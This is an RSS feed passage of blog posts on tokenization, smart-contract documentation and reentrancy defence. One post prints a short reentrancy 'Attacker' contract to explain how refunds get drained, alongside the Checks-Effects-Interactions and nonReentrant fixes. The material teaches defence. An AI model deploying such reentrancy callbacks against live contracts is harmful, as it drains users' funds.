&lt;tr&gt;&lt;td&gt;Total RWA protocols TVL (Oct 2025) &lt;/td&gt;&lt;td&gt;&lt;strong&gt;$18 billion&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Projected RWA market by 2030 (Citi) &lt;/td&gt;&lt;td&gt;&lt;strong&gt;$4 trillion&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;BlackRock, Franklin Templeton, JPMorgan, BNY Mellon — all deploying real capital. Every one of them had to solve the off-chain problem before the on-chain part could work.&lt;/p&gt;
&lt;p&gt;JPMorgan's Tokenized Collateral Network (TCN) moved from pilot to live production. Figure Technologies processed over &lt;strong&gt;$13 billion&lt;/strong&gt; in HELOC originations on blockchain. The technical challenge was never the token standard. It was integration with existing legal, custodial, and regulatory infrastructure.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;questions-to-ask-before-writing-a-single-line-of-solidity&quot;&gt;Questions to Ask Before Writing a Single Line of Solidity&lt;/h3&gt;
&lt;p&gt;These are the questions that determine whether your project works in production:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;On custody:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Who is the regulated custodian for the physical asset?&lt;/li&gt;
&lt;li&gt;What legal agreements govern token ownership vs. physical control?&lt;/li&gt;
&lt;li&gt;What happens if the custodian becomes insolvent or loses the asset?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;On provenance:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;What documentation proves the asset's origin and ownership history?&lt;/li&gt;
&lt;li&gt;Who verified it, and are they trusted in the relevant jurisdiction?&lt;/li&gt;
&lt;li&gt;How is provenance updated when real-world events occur?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;On valuation:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Who provides asset valuations, and how frequently?&lt;/li&gt;
&lt;li&gt;Which oracle solution bridges this to on-chain state?&lt;/li&gt;
&lt;li&gt;What happens during oracle downtime or data manipulation?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;On compliance:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Is this token a security? &lt;em&gt;(Assume yes if in doubt, especially in the US)&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;What KYC/AML checks are required for every holder?&lt;/li&gt;
&lt;li&gt;How do you enforce transfer restrictions?&lt;/li&gt;
&lt;li&gt;What happens when a holder appears on a sanctions list mid-holding?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;On legal enforceability:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Does your jurisdiction recognize on-chain transfers as legally binding?&lt;/li&gt;
&lt;li&gt;Which instrument governs a dispute - the token or the traditional record?&lt;/li&gt;
&lt;li&gt;What is your dispute resolution mechanism?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;On operations:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Which real-world events require on-chain state updates?&lt;/li&gt;
&lt;li&gt;Who monitors for these events and triggers the updates?&lt;/li&gt;
&lt;li&gt;What is your governance mechanism for emergencies?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you cannot answer these before writing Solidity, the token you create will be &lt;strong&gt;technically correct and operationally broken.&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;the-honest-summary&quot;&gt;The Honest Summary&lt;/h3&gt;
&lt;p&gt;Blockchain is genuinely excellent at a narrow set of things: recording state transitions with cryptographic finality, executing logic without trusted intermediaries, and maintaining a tamper-resistant history of on-chain events.&lt;/p&gt;
&lt;p&gt;Tokenization of real-world assets requires all of that - &lt;strong&gt;plus everything blockchain fundamentally cannot do on its own.&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plaintext&quot;&gt;What blockchain provides:            What tokenization requires:
─────────────────────────            ───────────────────────────
✅ Immutable transaction history  →  + Legal framework that recognizes it
✅ Cryptographic ownership proof  →  + Physical custody backing it
✅ Programmable transfer rules    →  + Off-chain compliance enforcement
✅ On-chain state machine         →  + Oracle infrastructure feeding it
✅ Transparent audit trail        →  + Human verification of what's audited
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The real engineering challenge is building the bridge between these two columns. That bridge is made of legal agreements, custodial arrangements, oracle infrastructure, compliance middleware, and operational processes.&lt;/p&gt;
&lt;p&gt;The token sits at the end of the bridge. It's where the system becomes visible to users. &lt;strong&gt;But the bridge itself is the product.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Tokenization is not primarily a smart contract problem. It is a provenance, custody, verification, and trust problem. The token is simply the final representation of a much larger operational reality.&lt;/p&gt;
&lt;p&gt;The engineers who understand both columns - who are as comfortable reasoning about custodial failure modes and oracle staleness as they are writing Solidity - are the ones who will build tokenization infrastructure that actually works at scale.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;further-reading&quot;&gt;Further Reading&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ERC-3643&lt;/strong&gt; -- The permissioned token standard built for compliant securities&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The Oracle Problem&lt;/strong&gt; -- Why Chainlink exists and what it still cannot fully solve&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Special Purpose Vehicles (SPVs)&lt;/strong&gt; - The legal structure that makes tokenized real assets work&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Chainlink Proof of Reserve&lt;/strong&gt; -- The closest thing to automated custody verification that exists today&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The Blockchain Trilemma vs. the Tokenization Quadrilemma&lt;/strong&gt; - Adding &quot;&lt;strong&gt;legal enforceability&lt;/strong&gt;&quot; as a fourth axis&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/22240/the-token-is-the-least-interesting-part-of-tokenization</guid>
<pubDate>Fri, 10 Jul 2026 17:20:20 +0000</pubDate>
</item>
<item>
<title>The Brief for the Judge: Writing Audit-Ready Documentation</title>
<link>https://coderlegion.com/18920/the-brief-for-the-judge-writing-audit-ready-documentation</link>
<description>&lt;p&gt;We have spent the last four posts building &lt;strong&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://polygonscan.com/address/0xf83aaB5f1fAA1a7a74AD27E2f8058801EaA31393&quot;&gt;MilestoneCrowdfundUpgradeable protocol&lt;/a&gt;&lt;/strong&gt;. We architected an upgradeable proxy, designed a mathematically rigorous escrow engine, fuzz-tested its invariants, and locked the doors against reentrancy attacks. We built a fortress.&lt;/p&gt;
&lt;p&gt;But there is one final step. A secure fortress is incredibly dangerous if you don't leave behind a blueprint explaining exactly how the traps and locks are supposed to work.&lt;/p&gt;
&lt;p&gt;Most developers hate writing documentation. In Web2, bad documentation means a new developer joins your team and spends three days figuring out an API endpoint instead of one hour. Frustrating, expensive, recoverable.&lt;/p&gt;
&lt;p&gt;In Web3, bad documentation is catastrophic. When you hand your code to a security auditor, bad documentation means they might misunderstand the intended behavior of a function. They might classify a deliberate design choice as a vulnerability, forcing you to waste weeks fixing a non-issue. Worse, they might see a real bug, assume it was your intended logic, and let it pass into production where user funds get drained.&lt;/p&gt;
&lt;p&gt;In this final post, I want to share exactly how I approached documenting &lt;strong&gt;MilestoneCrowdfundUpgradeable&lt;/strong&gt; from NatSpec comments to architectural READMEs and why I believe documentation is the most underrated security tool in Web3.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The Mindset: Preparing the Brief&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;When I prepare a protocol for an audit, I think of the documentation as the brief I am handing to a judge before a trial.&lt;/p&gt;
&lt;p&gt;The auditor is the judge. The code is the evidence. But without the brief, without the written explanation of intent, the documented invariants, and the explicit threat model, the judge is left to interpret the evidence alone. And interpretation without intent is where dangerous misreadings happen.&lt;/p&gt;
&lt;p&gt;But here is the deeper truth: documentation isn't just for auditors. It is for the version of you that comes back to this codebase in six months after working on three other projects. That person has forgotten everything. The comments and the threat model are the only things standing between future-you and a catastrophic misunderstanding of your own protocol.&lt;/p&gt;
&lt;p&gt;My rule is simple: &lt;strong&gt;If I have to think for more than five seconds about what a piece of code is doing, that piece of code needs a comment.&lt;/strong&gt; Not because the code is bad, but because the next person reading it shouldn't have to spend those same five seconds. In a paid audit, those five seconds across a thousand lines become expensive hours of confusion.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;NatSpec: Before, During, and After&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Solidity uses a comment format called NatSpec (Ethereum Natural Language Specification). My approach to writing it happens in three distinct phases:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. Before (The Specification)&lt;/strong&gt;&lt;br&gt;
I write the &lt;code&gt;@notice&lt;/code&gt; and &lt;code&gt;@param&lt;/code&gt; descriptions before I write the function body. This forces me to articulate what the function is supposed to do in plain English before I write a single line of logic. If I cannot describe it clearly in one sentence, I do not understand it well enough to code it yet. The comment becomes the specification; the code is just the implementation.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. During (The &quot;Why&quot;)&lt;/strong&gt;&lt;br&gt;
While writing the body, I add inline comments at critical decision points. In the last post, we looked at this exact code block:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plaintext&quot;&gt;// CEI: Effects - Update the ledger first, before money moves!
_pledges[_id][msg.sender] = 0;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Any competent developer can read &lt;code&gt;_pledges[_id][msg.sender] = 0&lt;/code&gt; and know what it does. What they cannot know without a comment is that this line is here specifically to prevent a reentrancy attack. My personal rule: &lt;strong&gt;The code says &quot;what&quot;. Only a comment can say &quot;why&quot;.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. After (The Edge Cases)&lt;/strong&gt;&lt;br&gt;
After the function is complete, I write the &lt;code&gt;@dev&lt;/code&gt; block. This is where I document the non-obvious: the edge cases I considered and rejected, the invariants this function must maintain, and the assumptions that must be true for it to be safe.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The Power of Visual State Machines&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;A smart contract is a state machine. It has states (&lt;code&gt;Fundraising&lt;/code&gt;, &lt;code&gt;Succeeded&lt;/code&gt;, &lt;code&gt;Failed&lt;/code&gt;, &lt;code&gt;Abandoned&lt;/code&gt;) and transitions between those states (&lt;code&gt;finalize&lt;/code&gt;, &lt;code&gt;haltCampaign&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;You can write all of that in prose, but the human brain does not reason about state machines in paragraphs. It reasons about them visually. The moment I drew the state diagram for &lt;code&gt;MilestoneCrowdfundUpgradeable&lt;/code&gt; using PlantUML, a massive gap became visible.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/mb6ai4uwwr28ekv3jbsv.png&quot; alt=&quot;Campaign Lifecycle Diagram&quot;&gt;&lt;/p&gt;
&lt;p&gt;Looking at the diagram, I immediately noticed there was no direct transition from &lt;code&gt;Fundraising&lt;/code&gt; to &lt;code&gt;Abandoned&lt;/code&gt;. A campaign could only be Abandoned after it Succeeded. That was a correct design decision, you shouldn't be able to abandon a project that never even got funded but seeing it drawn forced me to go back and verify that the Solidity code actually enforced this explicitly. The diagram asked a question the code never explicitly answered.&lt;/p&gt;
&lt;p&gt;Diagrams also communicate to people who cannot read Solidity. Your investors, your community, or a tokenomics specialist auditing your math might struggle with the raw code, but they can instantly follow a visual map.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The README Architecture&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;A lot of Web3 repositories just leave the default Foundry or Hardhat README file. Alternatively, they throw every piece of information into one giant, 3,000-word file.&lt;/p&gt;
&lt;p&gt;One giant file is a red flag. It tells an auditor that the author did not think carefully about who would be reading it. I split the &lt;code&gt;MilestoneCrowdfundUpgradeable&lt;/code&gt; documentation into specific hubs tailored to specific readers:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Protocol_Architecture.md:&lt;/strong&gt; Written for the &lt;strong&gt;Auditor&lt;/strong&gt;. Their primary question is: What is this protocol supposed to do, and what rules must it never break? This document answers that immediately.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Integration_Guide.md:&lt;/strong&gt; Written for the &lt;strong&gt;Frontend Developer&lt;/strong&gt;. Their primary question is: How do I call these functions correctly without breaking anything? They need the function signatures and error codes, not the threat model.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Incident_Response.md:&lt;/strong&gt; Written for the &lt;strong&gt;Security Researcher&lt;/strong&gt;. If they find a live vulnerability, their primary question is: Who has the authority to pause this, and how do I reach them right now? If they have to dig through installation instructions to find your emergency contact, you are wasting critical seconds during a hack.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Threat_Model.md:&lt;/strong&gt; Written for the &lt;strong&gt;Skeptical Reviewer&lt;/strong&gt;. This is the document most developers skip. It says: Here are the attacks we considered, here is why we are protected, and here are the residual risks we knowingly accepted. You cannot write a threat model without thinking like an attacker, and you cannot think like an attacker without finding things you missed.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;A well-structured repository is a signal of engineering maturity. Before an auditor reads a single line of your Solidity, they have already formed a judgment about how seriously you take correctness based on your file structure.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The Hardest Part: Combating Drift&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The hardest part is not writing documentation. It is keeping it true.&lt;/p&gt;
&lt;p&gt;Code changes. Documentation does not change automatically. The gap between them is one of the most dangerous states a codebase can be in.&lt;/p&gt;
&lt;p&gt;I experienced this directly. Early in the design of the fiat bridge, &lt;code&gt;pledgeFiatOnBehalf&lt;/code&gt; was intended to apply a reduced platform fee. The NatSpec reflected that. Later, the stakeholder and I decided fiat pledges would be completely fee-exempt on-chain, with fees handled off-chain by Stripe.&lt;/p&gt;
&lt;p&gt;I changed the code. I didn't immediately update the comment.&lt;/p&gt;
&lt;p&gt;I caught it during a final review pass, but imagine if I hadn't. An auditor reading that comment would have expected fee logic that didn't exist, flagged its absence as a high-severity bug, and forced us to waste days in remediation meetings arguing over a phantom issue.&lt;/p&gt;
&lt;p&gt;The discipline I developed from that experience is strict: &lt;strong&gt;Every time you change a function body, you update the NatSpec before you close the file.&lt;/strong&gt; Not before you commit. Immediately. The comment is a structural part of the function, not a separate chore to do later.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The BinnaDev Takeaway&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;When a junior developer tells me, &quot;My code is clean, it's self-documenting, I don't need to write a README,&quot; my response is always the same:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&quot;Show me the part of your code that explains why you made that design decision.&quot;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Clean code tells you &lt;em&gt;what&lt;/em&gt;. Only documentation tells you &lt;em&gt;why&lt;/em&gt;. And in smart contract engineering, the why is where all the security lives. &quot;Self-documenting code&quot; makes sense in Web2 where the worst-case scenario is a confused colleague. It does not make sense in Web3 where the worst-case scenario is a misunderstood intent that costs your users everything they trusted you with.&lt;/p&gt;
&lt;p&gt;Here is the practical test: If a professional auditor had to judge whether a specific line in your contract was an intentional design choice or a bug, would your code give them enough information to judge correctly without asking you a single question? If the answer is no, you need documentation.&lt;/p&gt;
&lt;p&gt;And I will be completely honest with you on how I execute this practically.&lt;/p&gt;
&lt;p&gt;English is not my first language. Documentation is fundamentally an asynchronous communication tool, you are writing for a stranger who cannot ask you a follow-up question, they have to wait for your response. In this context, a grammatical error doesn't just look careless; it creates genuine ambiguity. Did the developer mean this or that? To solve this, &lt;strong&gt;I use AI.&lt;/strong&gt; Agile engineering tells us to prioritize working software over comprehensive documentation. That doesn't mean skip the docs; it means be smart about where your mental energy goes. The architecture, the invariant math, the security decisions, those required 100% of my focus. I used AI to help draft NatSpec suggestions and catch grammatical ambiguity so my thinking wasn't limited by the mechanics of expressing it in a second language. The ideas are mine entirely. The precision of communicating them is a collaboration.&lt;/p&gt;
&lt;p&gt;Your code being clean means you are a careful developer. Your protocol being documented means you respect the people who will put their money into what you built. Both are required. You have the tools. Use them.&lt;/p&gt;
&lt;p&gt;This concludes our five-part journey building the &lt;strong&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://polygonscan.com/address/0xf83aaB5f1fAA1a7a74AD27E2f8058801EaA31393&quot;&gt;MilestoneCrowdfundUpgradeable protocol&lt;/a&gt;&lt;/strong&gt;. From upgradeable proxies to defensive math, stateful fuzzing, reentrancy guards, and audit-ready documentation.&lt;/p&gt;
&lt;p&gt;I hope this series has given you a real-world look at what security-first Web3 engineering actually looks like. Keep building, stay paranoid, and write excellent code.&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/18920/the-brief-for-the-judge-writing-audit-ready-documentation</guid>
<pubDate>Tue, 26 May 2026 17:00:00 +0000</pubDate>
</item>
<item>
<title>Thinking Like an Attacker: The Airbags and Seatbelts of Smart Contract Security</title>
<link>https://coderlegion.com/18917/thinking-like-an-attacker-the-airbags-and-seatbelts-of-smart-contract-security</link>
<description>&lt;p&gt;In our last post, we built a mathematical proving ground using &lt;a rel=&quot;nofollow&quot; href=&quot;https://www.getfoundry.sh&quot;&gt;Foundry&lt;/a&gt;. We used stateful fuzzing to prove that the rules of our &lt;strong&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://polygonscan.com/address/0xf83aaB5f1fAA1a7a74AD27E2f8058801EaA31393&quot;&gt;MilestoneCrowdfundUpgradeable protocol&lt;/a&gt;&lt;/strong&gt; work exactly as intended.&lt;/p&gt;
&lt;p&gt;But testing only proves that the contract behaves correctly when people follow the rules. What happens when someone actively tries to break them?&lt;/p&gt;
&lt;p&gt;In Web2, when you think about security, you think about the perimeter. Who can get in? You build firewalls, you require authentication, you set up rate limiting. The attacker is outside the system, trying to break down the door.&lt;/p&gt;
&lt;p&gt;In Web3, there is no perimeter. Your contract is public. The state is public. Every single function is readable by anyone on earth the moment you deploy it. The attacker is not trying to get past a wall, they are standing inside the room with you, reading your rulebook, looking for a sentence that contradicts itself.&lt;/p&gt;
&lt;p&gt;So, my security-first mindset when I sit down to write Solidity is this: &lt;strong&gt;I am writing rules for a system that a brilliant, motivated, financially incentivized adversary will study longer and harder than I wrote it.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;In this post, I want to show you exactly how I design against those adversaries. We are going to look at the most infamous hack in Web3 history, how to prevent it using the golden rule of smart contracts, and the real-world edge cases I had to actively design around.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The Refund Kiosk Glitch&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;To understand the most dangerous exploit in smart contracts, you don't need to understand code yet. You need to understand the refund kiosk glitch.&lt;/p&gt;
&lt;p&gt;Imagine a store installs a new, automated self-service refund kiosk. It works like this:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;You scan your receipt.&lt;/li&gt;
&lt;li&gt;The machine dispenses your cash.&lt;/li&gt;
&lt;li&gt;The machine marks your receipt as &quot;refunded&quot; in the database.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;A clever person notices something. Between step 2 and step 3, there is a processing gap: a brief moment while the database updates.&lt;/p&gt;
&lt;p&gt;So, the attacker builds a device and physically attaches it to the kiosk's cash dispenser slot. When cash drops into the tray, the weight of the notes triggers a pressure sensor inside the device, which automatically scans the receipt again &lt;em&gt;immediately&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;The attacker does not press any buttons. The act of receiving cash is itself the trigger for the next scan.&lt;/p&gt;
&lt;p&gt;The kiosk checks the database: &lt;em&gt;&quot;Is this receipt already refunded?&quot;&lt;/em&gt; The database still says no, because step 3 hasn't happened yet. So the kiosk dispenses again. Cash drops. The pressure sensor fires. The receipt scans again. The database still says no. It dispenses again.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/9nvrx9sykb3a5nzkado1.png&quot; alt=&quot;Attack Scenario: Refund Glitch Exploit&quot;&gt;&lt;/p&gt;
&lt;p&gt;This loop continues until the machine is completely empty. Nobody held anyone at gunpoint. The machine was following its own rules perfectly, it checked the ledger every single time before it paid. It just checked a ledger that was always one step behind reality.&lt;/p&gt;
&lt;p&gt;The fix is incredibly simple. You just change the order of operations at the kiosk:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Scan your receipt.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mark it as refunded in the database immediately.&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Now, dispense the cash.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Now, when the cash drops and the pressure sensor fires a second scan, the kiosk checks the database, sees it is already refunded, and dispenses nothing. The loop never starts. By updating the internal record before handing over the cash, we close the exploitation gap entirely.&lt;/p&gt;
&lt;p&gt;In smart contract engineering, this fix is called &lt;strong&gt;Checks-Effects-Interactions (CEI).&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Check:&lt;/strong&gt; Does this user have a valid claim?&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Effect:&lt;/strong&gt; Zero their balance in the ledger right now, before a single coin moves.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Interaction:&lt;/strong&gt; Now, send the money.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Reentrancy: The Kiosk on Ethereum&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Now that you understand the kiosk glitch, you already understand &lt;strong&gt;Reentrancy&lt;/strong&gt;. Because Reentrancy is exactly that glitch, running on a blockchain.&lt;/p&gt;
&lt;p&gt;In Ethereum, when your smart contract sends ETH to an address, if that address belongs to another smart contract, it can execute code the exact moment it receives the ETH. That receiving code is called a &lt;code&gt;receive()&lt;/code&gt; function.&lt;/p&gt;
&lt;p&gt;That &lt;code&gt;receive()&lt;/code&gt; function is the pressure sensor. The attacker writes it once, deploys their contract, and the blockchain executes it automatically the moment ETH arrives. They do not manually trigger anything. The callback is a feature of how ETH transfers work, turned into a weapon.&lt;/p&gt;
&lt;p&gt;Here is what the attacker's contract looks like:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plaintext&quot;&gt;contract Attacker {
    MilestoneCrowdfund public target;

    // The pressure sensor: When this contract receives ETH, 
    // it immediately calls claimRefund again, before the first call finishes!
    receive() external payable {
        target.claimRefund(campaignId);
    }

    function attack() external {
        target.claimRefund(campaignId);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If we sent the money before updating our internal ledger, this attacker would drain our entire protocol in a single transaction. But because we use the Checks-Effects-Interactions pattern, look at the exact order of the &lt;code&gt;claimRefund&lt;/code&gt; function inside &lt;code&gt;MilestoneCrowdfundUpgradeable&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plaintext&quot;&gt;// 1. CHECKS: Does the user have a valid claim?
uint256 userPledge = _pledges[_id][msg.sender];
if (userPledge == 0) revert MilestoneCrowdfund__NoContribution();

// 2. EFFECTS: Update the ledger first, before money moves!
_pledges[_id][msg.sender] = 0;

// 3. INTERACTIONS: Now the money moves.
(bool success,) = payable(msg.sender).call{value: refundAmount}(&quot;&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;By zeroing &lt;code&gt;_pledges[_id][msg.sender]&lt;/code&gt; before the ETH moves, every malicious reentrant call finds a zero balance and reverts immediately. The ledger is never one step behind.&lt;/p&gt;
&lt;p&gt;As a second line of defense, I also use OpenZeppelin's &lt;code&gt;nonReentrant&lt;/code&gt; modifier. It works by setting a lock flag at the start of the function. Think of it as a door that locks behind you the moment you step inside. If the malicious &lt;code&gt;receive()&lt;/code&gt; function tries to call &lt;code&gt;claimRefund&lt;/code&gt; again, it slams into that locked door, and the entire transaction instantly reverts.&lt;/p&gt;
&lt;p&gt;CEI makes the contract logically correct. &lt;code&gt;nonReentrant&lt;/code&gt; makes it mechanically impossible to reenter. I tell every junior developer: do not choose between them. Use both. CEI is the airbag. &lt;code&gt;nonReentrant&lt;/code&gt; is the seatbelt. You want both in the car.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The Real Edge Cases I Had to Design Around&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Security isn't just about stopping hackers; it's about mitigating the risks of your own design choices. There were two specific edge cases I had to actively design around.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. The Live Fee Rate&lt;/strong&gt;&lt;br&gt;
In &lt;code&gt;MilestoneCrowdfundUpgradeable&lt;/code&gt;, the platform fee (&lt;code&gt;defaultFeeBps&lt;/code&gt;) is a global variable that the owner can change at any time. This means two donors to the exact same campaign could pay different effective fees if the owner changes the rate between their pledges.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Why design it this way?&lt;/strong&gt; Because the stakeholder explicitly requested the flexibility to run dynamic fee promotions. I immediately flagged the vulnerability to them: what if a compromised owner key raised the fee to 5% right before a massive whale pledge, and then immediately lowered it back? This would silently skim thousands of dollars from a single donor, and unless you were watching the transaction pool in real-time, it would be almost invisible.&lt;/p&gt;
&lt;p&gt;I agreed to the stakeholder's requirement, but only with a strict mitigation strategy. The defense here isn't in the Solidity code, it is in the governance architecture. The owner is strictly documented as an Admin Multisig wallet. A single compromised key cannot change the fee unilaterally. The system around the code must be designed with the same rigor as the code itself.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. The Dust Sweep&lt;/strong&gt;&lt;br&gt;
When dividing milestones by percentages, integer division always leaves a tiny fraction of a cent (wei) permanently locked in the contract. To prevent this &quot;dust&quot; from being lost forever, my contract uses a special code path for the final milestone:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plaintext&quot;&gt;if (c.milestonesReleased == c.milestoneCount) {
    amountToRelease = c.totalRaised - c.totalWithdrawn;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It simply sweeps whatever is left. But I had to ask myself rigorously: Can this sweep ever release MORE than it should? The mathematical guarantee that it cannot is my invariant: &lt;code&gt;totalWithdrawn &amp;lt;= totalRaised&lt;/code&gt;. That is precisely what that same 4,495-second fuzz run from the last post was verifying. The fuzz test isn't decoration; it is the mathematical evidence that this final sweep is safe.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The BinnaDev Takeaway&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;If you are a junior developer about to deploy your first contract that holds real ETH, here is my ultimate advice to you:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Do not deploy until you can answer this question about every function that sends money: &quot;What happens if the recipient is a malicious contract?&quot;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Not a normal wallet. A smart contract. With a &lt;code&gt;receive()&lt;/code&gt; function you did not write, controlled by someone who wants your users' funds, with a pressure sensor already wired and waiting.&lt;/p&gt;
&lt;p&gt;If you cannot answer that question confidently for every single external call in your codebase, you are not ready to deploy. Go back and apply the Checks-Effects-Interactions pattern to every function that moves value. Add &lt;code&gt;nonReentrant&lt;/code&gt; to every function that moves value. Then ask the question again.&lt;/p&gt;
&lt;p&gt;The developers who get hacked are not the ones who don't know about reentrancy. They are the ones who know about it in theory, but did not sit down with their own code and ask that exact question. Knowledge without application is not protection.&lt;/p&gt;
&lt;p&gt;Read your own code as if you are the attacker. The moment you find something that makes you uncomfortable as the attacker, you have found something to fix as the engineer. If you want a structured baseline for this evaluation, I highly recommend reading Trail of Bits' excellent post, &lt;a rel=&quot;nofollow&quot; href=&quot;https://blog.trailofbits.com/2023/08/14/can-you-pass-the-rekt-test&quot;&gt;Can You Pass the Rekt Test?&lt;/a&gt; It is a mandatory checklist for any serious Web3 engineering team.&lt;/p&gt;
&lt;p&gt;Sleep comes after that review. Not before.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;We have architected the protocol, proven the math, and secured the vault. But a secure protocol is useless if no one knows how to safely interact with it. In our fifth and final post, we are going to talk about the most underrated skill in Web3: &lt;strong&gt;Writing Audit-Ready Documentation&lt;/strong&gt;.&lt;/em&gt;&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/18917/thinking-like-an-attacker-the-airbags-and-seatbelts-of-smart-contract-security</guid>
<pubDate>Tue, 26 May 2026 07:00:00 +0000</pubDate>
</item>
<item>
<title>Smart Contracts Demand Better Infrastructure: Building on contract.dev</title>
<link>https://coderlegion.com/18724/smart-contracts-demand-better-infrastructure-building-on-contract-dev</link>
<description>&lt;p&gt;When you first start writing smart contracts on the EVM chains, your journey usually begins in Remix. It is a powerful, open-source web and desktop application for writing, compiling, testing, and deploying code, making it a fantastic tool for quick iterations and local simulations. But eventually, you outgrow it. Even with its robust features, a localized environment does not perfectly replicate how your contract will interact with live mainnet state.&lt;/p&gt;
&lt;p&gt;To truly test a protocol, you move to a public testnet. This is where the engineering friction begins.&lt;/p&gt;
&lt;p&gt;You suddenly need to set up an Alchemy or Infura account just to get an RPC URL. Then comes the faucet fatigue. You scour Discord or click traffic lights on web pages just to beg for a fraction of Sepolia ETH. Many faucets now require a minimum mainnet balance to prevent spam. This is a massive roadblock if you are following basic security practices.&lt;/p&gt;
